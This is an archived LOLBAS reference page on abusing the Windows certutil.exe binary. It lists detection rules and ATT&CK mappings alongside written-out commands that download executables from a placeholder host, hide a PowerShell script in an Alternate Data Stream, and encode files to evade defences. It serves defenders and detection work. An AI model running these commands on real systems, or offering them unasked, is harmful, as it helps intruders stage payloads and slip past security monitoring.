Certutil on LOLBAS

Archived: 2026-04-05 18:48:54 UTC

.. /Certutil.exe

Windows binary used for handling certificates

Paths:

- C:\Windows\System32\certutil.exe
- C:\Windows\SysWOW64\certutil.exe

Resources:

- https://twitter.com/Moriarty_Meng/status/984380793383370752
- https://twitter.com/mattifestation/status/620107926288515072
- https://twitter.com/egre55/status/1087685529016193025
- https://www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin/

Acknowledgements:

- Matt Graeber (@mattifestation)
- Moriarty (@Moriarty_Meng)
- egre55 (@egre55)
- Lior Adar
- Adam (@hexacorn)
- SomeTestLeper (@SomeTestLeper)

Detections:

- Sigma: proc_creation_win_certutil_download.yml
- Sigma: proc_creation_win_certutil_encode.yml
- Sigma: proc_creation_win_certutil_decode.yml
- Elastic: defense_evasion_suspicious_certutil_commands.toml
- Elastic: command_and_control_certutil_network_connection.toml
- Splunk: certutil_download_with_urlcache_and_split_arguments.yml
- Splunk: certutil_download_with_verifyctl_and_split_arguments.yml
- Splunk: certutil_with_decode_argument.yml
- IOC: Certutil.exe creating new files on disk
- IOC: Useragent Microsoft-CryptoAPI/10.0
- IOC: Useragent CertUtil URL Agent

Download

1. Download and save an executable to disk in the current folder.

   ```
   certutil.exe -urlcache -f https://www.example.org/file.exe file.exe
   ```

   Use case

   Download file from Internet

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1105: Ingress Tool Transfer

2. Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>` when not.

   ```
   certutil.exe -verifyctl -f https://www.example.org/file.exe file.exe
   ```

   Use case

   Download file from Internet

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1105: Ingress Tool Transfer

3. Download and save an executable to `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>`.

   ```
   certutil.exe -URL https://www.example.org/file.exe
   ```

   Use case

   Download file from Internet

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

ATT&CK® technique

T1105: Ingress Tool Transfer

Tags

Application: GUI

Alternate data streams

1. Download and save a .ps1 file to an Alternate Data Stream (ADS).

```
certutil.exe -urlcache -f https://www.example.org/file.ps1 C:\Windows\Temp\file.ext:ttt
```

Use case

Download file from Internet and save it in an NTFS Alternate Data Stream

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1564.004: NTFS File Attributes

Encode

1. Command to encode a file using Base64

```
certutil -encode file.ext file.base64
```

Use case

Encode files to evade defensive measures

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1027.013: Encrypted/Encoded File

Decode

1. Command to decode a Base64 encoded file.

```
certutil -decode file.base64 file.ext
```

2. Command to decode a hexadecimal-encoded file.

```
certutil -decodehex file.hex file.ext
```

Source: https://lolbas-project.github.io/lolbas/Binaries/Certutil/